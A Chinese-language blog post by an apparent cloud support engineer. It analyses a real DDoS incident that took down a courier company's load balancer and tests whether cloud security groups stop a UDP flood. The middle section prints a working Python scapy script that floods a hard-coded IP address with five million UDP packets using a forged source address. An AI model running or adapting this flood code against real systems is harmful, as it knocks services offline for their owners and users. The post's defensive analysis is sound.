DDoS 真实案例总结分析

DDoS 真实案例总结分析

五一申请了值班,遇到国内某知名快递公司同城业务在凌晨三点左右,客户PV突发断流,用户截图只截图了一个PV断流的监控图来,然后其使用的外网型LB,域名解析正确,ping LB不通(LB未设置安全组不存在禁止ICMP协议),开始紧急排查。

排查思路:

  • 域名解析是否正确。 --经过核对解析正确
  • 用户没有对安全组进行额外的操作。 --已排查无问题
  • LB后端转发端口。 --已排查无问题。
  • LB后端健康检查。 --已排查无问题。
  • RS状态。--已排查无问题。
  • LB监控。 --无权限。

最后问题原因出来了: 用户受到了DDoS UDP-Flood攻击。而且用户也收到了云平台推送的短信通知,但是他也不说,让我们可劲排查。

下次正确的排查思路:

  • 用户是否收到平台相应的短信通知。
  • ping不通时,如果网络入口状态正常,就需要用户提供网络入包量监控截图,优先判断掉是否受到了DDoS攻击。

由此产生到的两个问题。

安全组相应设置是否能够防御DDoS攻击?
为什么客户只开启了TCP80、443的端口为什么会受到UDP Flood攻击?

基于UDP Flood的攻击实践

实践相关说明
  • 这次实践就比较简单的组多个UDP的包,发给云服务器好了,先忽略安全组的问题。(这里就不采用反射型放大攻击技术了,基于公司的云服务器使用规则和说明,第二个是反射型放大攻击效果太好,8-10000倍放大攻击害怕整出事,第三是反射型的放大攻击需要进行IP欺骗,我的路由器是家用型的没办法设置。
  • 我们需要在云服务器上部署一套监控来查看网络包的入包量。
  • 需要少量的python编程的基础知识。
看python脚本,本次利用的是鼎鼎大名的scapy,用来网络编程是真的舒服。
#!/usr/bin/python3
from scapy.all import *
from scapy.layers.inet import IP, UDP


def src_ip():
    temp_ip = ''
    for i in range(0, 4):
        temp_ip = temp_ip + '.' + str(random.randrange(0,255))
    return temp_ip.strip('.')
ip = src_ip()
data = struct.pack('!17s', b"dffsadfsafsadfsdf")
for i in range(0,5000000):
    pkt = IP(src=ip, dst='139.155.75.204') / UDP(sport=random.randrange(1, 65536),
                                                 dport=random.randrange(1, 65536)) / data
    send(pkt, inter=0, count=1)
在服务器上面来进行抓包下来进行分析。(安全组设置默认全通的情况下)
# tcpdump -i eth0 -w udp.cap udp 
服务器.png
  • 可以根据这张图得知:
    • 我随机伪造的源地址被我的路由snat成了公网IP。
    • 大量接收到的UDP数据报文。
  • 接下来看看云服务器上面的监控。
流量包.png
  • 安全组策略
入站规则.png
可以得出结论:
  • 在安全组全开的情况下,流量直接到达服务器,攻击生效。
再来看看设置了安全组关闭所有UDP端口看是否能够有效的阻止攻击。
  • 安全组策略
拒绝安全组.png
  • 攻击时云服务器监控
云监控.png
  • 停止攻击后的云服务器监控
停止后的云服务器监控.png
使用TCPDUMP抓包没有看到包了,但是还是在控制台监控上看到流量的入包情况。

最后的总结分析

  • 1.安全组相应设置是否能够防御DDoS攻击?

    • 实践证明没用,虽然在安全组策略上动了心思不允许流量进入云服务器,但是流量到达了安全组之后,流量依然还是计算在云服务器上。
  • 2.为什么客户只开启了TCP80、443的端口为什么会受到UDP Flood攻击?

    • 查找了很多有关的书籍和文档,并没有找到权威的解释,所以这里有问题欢迎大家找我讨论:qinghualai@foxmail.com
timg.jpeg
  • 我们关注数据解封装的过程,由下至上逐层解封,在下层未将报文传递给上层之前,上层是无法感知数据的。当数据报文打到网络层的时候,已经完成了IP之间的点到点通讯,网络层将数据包传递给传输层UDP协议时,UDP发现没有该协议的端口工作,此时UDP报文会怎么做?未能查到权威书籍不敢下结论但是已经报文到达传输层,已经完成了流量攻击,攻击发起者不再关注后续的操作。
  • 所以不管在云服务器前面部署防火墙或者是其他的设备,都需要感知传输层报文,都会成为第一道被打击的对象。都会堵塞其网络。唯有流量牵引和清洗回注技术方可解决。DDoS攻击及其变种的放大、CC等已经成为目前互联网的耗费最小打击效果最大的一种攻击手段,让受害者面临巨大的经济损失。我们一定要加强自己的安全意识,和防护手段才能避免成为不法分子手中的武器。